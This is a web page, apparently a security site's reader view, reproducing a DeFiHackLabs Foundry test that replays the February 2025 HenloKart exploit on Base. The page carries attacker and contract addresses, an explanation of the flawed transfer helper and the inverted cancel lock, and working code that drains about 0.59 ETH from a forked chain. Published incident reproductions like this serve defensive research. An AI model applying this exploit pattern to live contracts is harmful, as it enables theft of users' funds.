Public reproduction file
src/test/2025-02/HenloKart_exp.sol
Public reproduction file for dataset entry HenloKart.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 0.59 ETH7// Attacker : 0xc2b2197ca4b2ee3b4eb61fc59e6d592d04a2e26a8// Attack Contract : 0xbb7cef7b870bdb80cdd2857785ad7e84303b56259// Vulnerable Contract : 0x27fafc210e4b240786d9ef3aa44399fb7e107f6f10// Attack Tx : https://basescan.org/tx/0xf9ccb244be71ce3ff8c61021dc43a51c21bd1e11d73e61e64d05a9218f832c7e11//12// @Info13// Vulnerable Contract Code : https://basescan.org/address/0x27fafc210e4b240786d9ef3aa44399fb7e107f6f#code14//15// @Analysis16// Twitter Guy : https://t.me/defimon_alerts/51817//18// HenloKart's ETH transfer helper treated `from == msg.sender` as permission to19// send ETH from the HenloKart contract balance, instead of requiring msg.value.20// A zero-value native-token race commitment could therefore be funded from the21// victim balance. The old cancel lock check was also inverted, allowing the22// attacker to cancel immediately and receive the fake deposit back.24address constant ATTACKER = 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A;25address constant ATTACK_CONTRACT = 0xBB7cef7b870BdB80CdD2857785AD7E84303B5625;26address constant HENLO_KART = 0x27faFC210e4B240786d9EF3Aa44399Fb7E107F6f;27address constant HISTORICAL_AGENT = 0xddb9FcCd82C4f5fAB67140EFfd8a744E5b3b101a;28address constant HISTORICAL_IMPLEMENTATION = 0x5E30de98d133f956E118233ed8E054e0f5e65781;30interface IHenloKartV1 {31 function commitToRace(32 address player,33 address agent,34 address betToken,35 uint256 tokenId,36 uint256 betSize,37 uint64 deadline,38 uint64 count39 ) external payable returns (bytes32 commitmentHash);41 function cancelCommitment(42 bytes32 commitmentHash43 ) external;44}46contract ContractTest is BaseTestWithBalanceLog {47 IHenloKartV1 private constant henloKart = IHenloKartV1(HENLO_KART);49 function setUp() public {50 uint256 forkBlock = 26_884_275;51 vm.createSelectFork("base", forkBlock);53 fundingToken = address(0);54 vm.label(ATTACKER, "Attacker");55 vm.label(ATTACK_CONTRACT, "Historical attack contract");56 vm.label(HENLO_KART, "HenloKart");57 vm.label(HISTORICAL_AGENT, "Historical hamster agent");58 vm.label(HISTORICAL_IMPLEMENTATION, "HenloKart vulnerable implementation");59 }61 function testExploit() public balanceLog {62 uint256 balanceBefore = address(this).balance;64 bytes32 commitmentHash = henloKart.commitToRace(65 address(this),66 HISTORICAL_AGENT,67 address(0),68 0,69 0.01 ether,70 0,71 5972 );73 henloKart.cancelCommitment(commitmentHash);75 assertGt(address(this).balance - balanceBefore, 0.58 ether);76 }78 receive() external payable {}79}Analysis
Dataset entry
Public Foundry test for “HenloKart” (2025-02-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-02/Bybit_exp.solSame month in the dataset · 308 lines
- src/test/2025-02/FourMeme_exp.solSame month in the dataset · 245 lines
- src/test/2025-02/GMT7_exp.solSame month in the dataset · 86 lines
- src/test/2025-02/GoldReserve_exp.solSame month in the dataset · 136 lines
- src/test/2025-02/HegicOptions_exp.solSame month in the dataset · 70 lines
- src/test/2025-02/INVISTECH_exp.solSame month in the dataset · 137 lines
- src/test/2025-02/LimitOrderProtocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-02/PeapodsFinance_exp.solSame month in the dataset · 104 lines
- src/test/2025-02/Scorch_exp.solSame month in the dataset · 115 lines
- src/test/2025-02/StepHeroNFTs_exp.solSame month in the dataset · 111 lines
- src/test/2025-02/unverified_35bc_exp.solSame month in the dataset · 91 lines
- src/test/2025-02/unverified_d4f1_exp.solSame month in the dataset · 57 lines
- src/test/2025-02/Venus_ZKSync_exp.solSame month in the dataset · 221 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc2b2197ca4b2ee3b4eb61fc59e6d592d04a2e26a
- Attack Contract
0xbb7cef7b870bdb80cdd2857785ad7e84303b5625
- Vulnerable Contract
0x27fafc210e4b240786d9ef3aa44399fb7e107f6f
- Attack Tx
0xf9ccb244be71ce3ff8c61021dc43a51c21bd1e11d73e61e64d05a9218f832c7e
File record
- Name
- HenloKart
- Path
- src/test/2025-02/HenloKart_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 782514276c022a1d7a2f1a8b4a1abe21b9fb7646
- Language
- Solidity
- Size
- 80 lines
- Date
- 2025-02-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-02/HenloKart_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 782514276c022a1d7a2f1a8b4a1abe21b9fb7646, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.